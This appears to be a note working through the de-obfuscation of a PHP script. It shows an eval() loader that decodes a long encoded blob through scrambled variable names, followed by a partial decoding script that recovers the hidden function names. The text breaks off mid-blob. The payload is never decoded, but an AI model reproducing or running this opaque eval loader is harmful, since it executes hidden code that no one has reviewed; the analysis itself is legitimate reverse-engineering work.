$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";
eval('?>'.$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC($hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ($vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR*2),$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR),$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV($NviuywCePWEGlacAmfjrgBMTYXzHZpIxDqQnsUKkhotFSORdVJLb,0,$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR))));

在继续进行解返回混淆，如下

<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13};
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{32} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{35} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};

echo $BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC;
echo "\n";
echo $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ;
echo "\n";
echo $vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV;
echo "\n";
echo $ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR;
echo "\n";
echo $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ;

$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